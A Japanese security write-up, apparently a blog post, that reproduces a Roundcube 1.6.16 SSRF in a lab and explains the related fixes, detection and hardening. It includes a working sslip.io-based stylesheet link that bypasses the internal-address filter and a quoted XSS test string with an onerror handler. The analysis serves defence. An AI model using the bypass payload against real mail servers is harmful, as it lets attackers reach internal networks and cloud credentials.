メールを開くと、読んでいる最中にメールサーバーがあなたが指定したことのない内部アドレスへ勝手に接続を試みる。その原因はメール自身がそう指示したからだ。これは思考実験ではなく、ラボで実際に再現し、ログにリクエストを捉えた事例である。

メールを読む行為は、ずっと以前から受動的なものではなくなっている。クライアントはMIMEを解析し、テキストをHTMLに変換し、スタイルを読み込み、添付ファイルを表示し、アドレスやリンクをクリック可能にする。これらすべてのステップは、見知らぬ相手から送られたデータに対して実行されるコードである。そして、そのいずれかのステップがデータに対して過度に信頼を置いた瞬間、メールはあなたが望まない動作を始める。

2026年7月、Roundcubeはリリース1.6.17を公開した。これは単一のパッチではなく、複数の修正を含む。修正されたバグのうち2つは深刻度が最高位に位置づけられており、NISTは両方を10.0/10と評価した。一方、MITREはSSRFについてはより慎重に7.2と評価している。そのうちの1つは、メールがメールサーバー自身に内部ネットワークへ到達させることを可能にする。筆者は脆弱なバージョンを隔離ラボに構築し、攻撃をエンドツーエンドで再現し、サーバー自身から発信されたリクエストを捉えるログ行まで確認した。また、公に公開されている情報の限界と、2つ目の10.0評価の脆弱性が公開情報のみでは再現できない理由についても率直に述べる。

最初に明記する。筆者は本番環境でRoundcubeを運用しておらず、本稿はRoundcubeを「悪いソフトウェア」とするものではない。サーバーセキュリティの分野で働く者として、ここで注目するのは繰り返し現れるパターンである。送信されたコンテンツをレンダリングするソフトウェアは、利便性を追求しようとする箇所に攻撃対象領域を持つ。Roundcubeはその好例であり、脆弱性は機能そのものの中に存在する:スタイルの読み込み、アドレスのリンク化、添付ファイルの解析などである。

メールがサーバーにネットワークを歩かせる仕組み:CVE-2026-62643 (CVSS 10.0)

筆者が実際に再現したものから始める。

RoundcubeがHTMLメールを表示する際、スタイルはそのままブラウザに渡されるわけではない。まず外部スタイルを自サーバーへ取得し、サニタイザーを通した上でブラウザへ渡す。この意図は合理的である:危険なCSS構文をユーザーに到達する前に除去する。しかし、取得を行うのはサーバー自身である点が問題となる。

その判断を行うコードは以下の通り(program/actions/mail/index.php):

if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
    && !rcube_utils::is_local_url($attrib['href'])) {
    // rewrite the stylesheet link to the internal modcss handler,
    // which will fetch the URL ITSELF and return sanitized CSS
    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
    ...
}

Enter fullscreen mode Exit fullscreen mode

つまり、<link rel="stylesheet" href="..."> を含むメールは、サーバーにそのアドレスへアクセスさせる。内部ネットワークへの到達を防ぐ唯一の手段が is_local_url チェックである。SSRF防御のすべてはこの関数に依存している。バージョン1.6.16における同関数の動作を見てみよう。

public static function is_local_url($url)
{
    $host = parse_url($url, \PHP_URL_HOST);
    ...
    $host = preg_replace('/^::ffff:/i', '', $host);

    if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
        $host = trim($matches[1], '-.');
    }

    if ($address = Factory::parseAddressString($host, $options)) {
        $nets = [
            '0.0.0.0', '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
            '192.168.0.0/16', '169.254.0.0/16', '::1/128', 'fc00::/7',
        ];
        foreach ($nets as $net) {
            $range = Factory::parseRangeString($net);
            if ($range->contains($address)) {
                return true; // local, block it
            }
        }
        return false;
    }
    ...
}

Enter fullscreen mode Exit fullscreen mode

直接的なプライベートアドレスは適切にブロックされている:RFC1918の全範囲、ループバック、リンクローカル(クラウドのメタデータ用169.254範囲を含む)。href="http://127.0.0.1"http://169.254.169.254 はブロックされる。

しかし nip.io の行に注目してほしい。開発者は、10.0.0.1.nip.io のような名前をIP 10.0.0.1 に解決するDNSサービスについて認識していた。このようなサービスは、プライベートアドレスを公開名で隠蔽することを可能にする:is_local_url はドメイン名を見ることになり、IPではないため通過させてしまう。そこで nip.io はチェック前にアドレスへ展開される。これは妥当な対応である。

ただし nip.io は唯一のものではない。sslip.io も全く同じ動作をするが、1.6.16ではその行に含まれていない。つまり 172.30.0.3.sslip.io は関数にとって単なる外部ドメインとして扱われる。展開は行われず、parseAddressString はドメイン名からIPを取得せず、範囲チェックは発動せず、関数はfalseを返す。ローカルではないため、アクセスが許可される。

ラボ構成

すべては3つのコンテナからなる隔離ネットワーク内で動作し、メールボックスは偽のものを使用する。被害者側は Roundcube 1.6.16(修正前最後のバージョン)、メールサーバーは GreenMail、攻撃者コンテナは単純な python -m http.server を実行し、ネットワーク内では 172.30.0.3 として可視化されている。

services:
  roundcube:
    image: roundcube/roundcubemail:1.6.16-apache
    environment:
      ROUNDCUBEMAIL_DEFAULT_HOST: greenmail
      ROUNDCUBEMAIL_SMTP_SERVER: greenmail
    ports: ["127.0.0.1:8091:80"]
  greenmail:
    image: greenmail/standalone:latest
    environment:
      GREENMAIL_OPTS: "-Dgreenmail.setup.test.all [email protected]:victimpass,[email protected]:attackerpass"
  attacker:
    image: python:3.12-alpine
    command: python -m http.server 8000

Enter fullscreen mode Exit fullscreen mode

コンテナ内でバージョンを直接確認した:

$ docker exec rc-victim head -3 /var/www/html/CHANGELOG.md
# Changelog Roundcube Webmail

## Release 1.6.16

Enter fullscreen mode Exit fullscreen mode

攻撃手順

被害者へ送信するメールのheadに1行を記述する。ホストは is_local_url をすり抜けるよう選択した:公開DNSは 172.30.0.3.sslip.io をプライベートIP 172.30.0.3 に解決し、リスナーが待機している。

html = (
    '<html><head>'
    '<link rel="stylesheet" href="http://172.30.0.3.sslip.io:8000/ssrf-proof.css">'
    '</head><body><p>Styled newsletter.</p></body></html>'
)

Enter fullscreen mode Exit fullscreen mode

被害者としてwebmailにログインし、メールを開く。デフォルトではRoundcubeは外部コンテンツをブロックし、許可ボタンを表示するため、これはゼロクリックではなくユーザークリックが必要となる。外部コンテンツを許可し(ラボではボタン背後のコマンドを直接実行)、リスナーのログを確認する:

172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404

Enter fullscreen mode Exit fullscreen mode

リクエストが到着したことが確認でき、その送信元は 172.30.0.4 である。これは被害者のブラウザではない。ブラウザはそもそも外部から 172.30.0.3.sslip.io という名前を見ることはない。172.30.0.4 はRoundcubeコンテナ自身のIPであり、hostname -i で確認済みである。つまり、メールからの指示によりサーバー自身が指定した内部アドレスへアクセスしたことになる。404であることは本質的ではなく、リクエストが発生した事実が重要である。これがSSRFである:攻撃者はサーバーの内部ネットワークへのアクセス権を持たないが、メールによってサーバーを内部へ向かわせることができた。

実際のサーバーでは、空のリスナーの代わりに内部サービス、隣接コンテナ、外部からアクセスできない管理パネル、内部ポート上のデータベースが存在する可能性がある。特にクラウドのメタデータエンドポイント169.254.169.254は危険であり、サーバーからのリクエスト1つでクラウドアカウント全体の一時的な認証情報を取得できる。このバージョンでは169.254はブロックリストに含まれているが、攻撃のクラスはまさにこの種のものに該当し、フィルタのわずかな見落としが認証情報への道を開く。攻撃者はメールサーバーを内部ネットワークへのプロキシに変える。

ログでの検知方法

webmailにおけるSSRFの利点は、特徴的な痕跡を残すことである:webサーバープロセス自身から、本来行くべきでない場所へのアウトバウンドHTTP接続が発生する。クライアントやブラウザではなく、Roundcubeのphp-fpmやapacheが突然内部アドレスへ接続を試みる。

アラートルールは単純である:webサーバーのUIDから、許可リスト(SMTP、IMAP、アップデートサーバーなど)にないアドレスへのアウトバウンド接続はすべてインシデントとみなす。ラボではRoundcube自身のIP 172.30.0.4からのログ行が該当した。本番環境でも同様のパターンはegressフィルタやリバースプロキシのログで検知可能である:本来リクエストを受信するだけのサービスが、突然リクエストを発信し始める。

修正内容

1行のパッチである。DNSサービスの展開処理がnip.io以外にも対応するようになった:

- if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
+ if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

Enter fullscreen mode Exit fullscreen mode

イメージを1.6.17へ更新し、コンテナを再作成した後、同一のメールボックスから全く同じメールを再生した。パッチの適用を確認:

$ docker exec rc-victim grep -n "sslip" .../rcube_utils.php
447: if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

Enter fullscreen mode Exit fullscreen mode

メールを開き、外部コンテンツを許可した。リスナーログはその後変化せず、1.6.16からの単一のリクエストのみが残っている。新たなヒットは発生しなかった。is_local_url172.30.0.3.sslip.io172.30.0.3 に展開し、それが 172.16.0.0/12 に含まれることを検知してtrueを返した。サーバーはどこへも移動しない。脆弱性は閉じられた。

修正ではIPv6バイパスに対する強化も行われた:preg_replace('/^::ffff:/i', ...)/^[0:]*:ffff:/i に変更され、0:0:0:0:0:ffff:127.0.0.1 のようなレコードも捕捉されるようになった。

公開情報からは再現できない2つ目の10.0:CVE-2026-54433

ここでは率直に述べる。2つ目のバグについては動作するエクスプロイトを所持しておらず、その理由を説明する。分析自体が完成した結果よりも多くのことを教えてくれるからである。

CVE-2026-54433は、説明によればプレーンテキストメールのレンダリングにおけるゼロクリックstored XSSである。 spectacular に聞こえる:HTMLを持たないはずのプレーンテキストであっても、開封時に他者のJavaScriptを実行する。原因はリンク化処理にある。Roundcubeがテキストメールを表示する際、メールアドレスやリンクを検出し、クリック可能なタグでラップする。このHTML生成ステップにバグが存在する。

修正コミットを参照する。ちょうど1つのコミットであり、rcube_string_replacer.php 内のmailtoリンクのクエリ部分に対する正規表現を1行変更している:

- . "(\?[$url1$url2]+)?"        // before: allowed set of characters after ?
+ . '(\?[^<>\s]+)?'             // after: forbid < > and whitespace

Enter fullscreen mode Exit fullscreen mode

要点は明確である:以前は mailto リンクの末尾でマークアップを脱出可能な文字が許可されており、修正後は山括弧と空白が禁止された。コミットには悪意のある入力のテストが添付されている:

[email protected]?]<img/src="x"/onerror=alert(document.domain)>

Enter fullscreen mode Exit fullscreen mode

脆弱バージョン1.6.16上でブラウザ経由でこの入力を実際に実行したところ、以下の安全なHTMLが返された:

<a href="mailto:[email protected]?">[email protected]?</a>]&lt;img/src="x"/onerror=alert(document.domain)&gt;

Enter fullscreen mode Exit fullscreen mode

つまり <img> はエンティティにエスケープされており、脆弱バージョンでもスクリプトは実行されない。理由を調査したところ、リンクは正規表現だけでなく parse_url_brackets 関数でも処理されており、この関数がアドレスから対応しない括弧(] を含む)を慎重に除去するためである。その結果 ] は末尾へ入り、<img> は通常のテキストとして扱われ、エスケープされる。コミットのテスト入力は修正の境界を示しているが、それ自体は動作するエクスプロイトではない。

これは正常な状況である。修正に添付された公開テストが現実世界のペイロードと一致することは稀である。実際の攻撃ベクターは発見者(クレジットでは Samsung R&D Institute Ukraine の Bohdan Kurinnoy)が保持しており、パッチが広く展開されるまで非公開とされる。これは攻撃者に早期に武器を与えないためである。1行のdiffから動作するエクスプロイトを構築することは可能だが、それはリンクファイラーに対する別途の入念な作業であり、推測を再現として提示することはしない。確実に述べられることは以下の通りである:プレーンテキストリンクファイラーのバグは実在し、そのクラスはXSSであり、文字セットの制限によって修正された。確実に述べられないことは:このアドバイザリの特定行が単独で誰かを攻撃できるという事実である。

これは1つのバグではなく、問題のクラス全体である

1.6.17リリース全体を見ると、開発者がランダムなタイポを修正していたのではなく、メールクライアントの攻撃対象領域を1つずつ見直していたことが明らかになる。

  • CVE-2026-54432:もう1つのstored XSS。ただし今回は添付ファイルのMIMEタイプ経由。添付ファイル検証警告ページでタイプがエスケープなしで挿入されていた。
  • セッションに注入されたユーザー名経由のパスワードプラグインの脆弱性。
  • ここで扱ったsslip.io以外にも、特定のローカルアドレス経由のSSRFバイパスが2件。
  • TNEFデコーダ(Outlookのwinmail.dat)における2件のDoSバグ:無限ループと、圧縮RTF内の細工されたサイズによるクラッシュ。

モジュールは異なり、バグの種類も異なるが、根本原因は1つである。クライアントはメールから送られたデータ(テキスト、スタイル、添付ファイル、Microsoft独自形式)を解析・レンダリングする。すべてのパーサーは、他者の入力に対する信頼である。メールクライアントが豊かになればなるほど、見知らぬメールが予想以上に大きな力を持つ箇所が増える。スタイルはSSRFを引き起こし、リンクファイラーはXSSを引き起こし、TNEFデコーダはDoSを引き起こした。

Roundcubeを運用している場合、本日確認を

  1. バージョン。1.6.17以降(1.7ブランチの場合は1.7.2)。記載されたすべての問題はそこで修正済み。
  2. 外部コンテンツ。外部リソースのブロックはデフォルトで有効にしておく。これはプライバシーだけでなく、SSRFがユーザーアクションなしで発動するのを防ぐ手段でもある。
  3. ネットワーク分離。メールフロントエンドは、内部サービスやクラウドメタデータエンドポイントと同一のフラットネットワークに配置されるべきではない。webサーバー自身のアウトバウンド接続を制限する(インバウンドだけでなく)。
  4. プラグイン。パスワード変更プラグインを使用している場合は更新する。同プラグインにも脆弱性が存在する。
  5. 監視。webmailプロセスから予期しないアドレスへのアウトバウンドHTTPリクエストはシグナルである。ラボではSSRFはサーバー自身のIPから本来行くべきでない場所へのリクエストとして現れた。

本稿から得られる教訓

2つ目のDNSサービスが忘れられていた1行の正規表現により、メールがサーバーを内部ネットワーク上で自由に移動させる。文字セットが十分に制限されていなかったもう1行により、テキストメールがXSSを引き起こす。これはRoundcube固有の問題ではない。あなたへ送信されたコンテンツをレンダリングする任意のソフトウェアは、デフォルトでそのコンテンツを信頼しており、ここでのセキュリティとは、その信頼を手作業で取り消さなければならない箇所の長いリストである。便利な機能と脆弱性の間には、時にはフィルタにおける1つの見落とされたケースしか存在しない。ここではそれらが積み重なり、1つのリリース全体を形成した。


ラボは隔離環境で構築され、すべてのアドレスとメールボックスは偽のものを使用。自身のシステムを防御するための資料。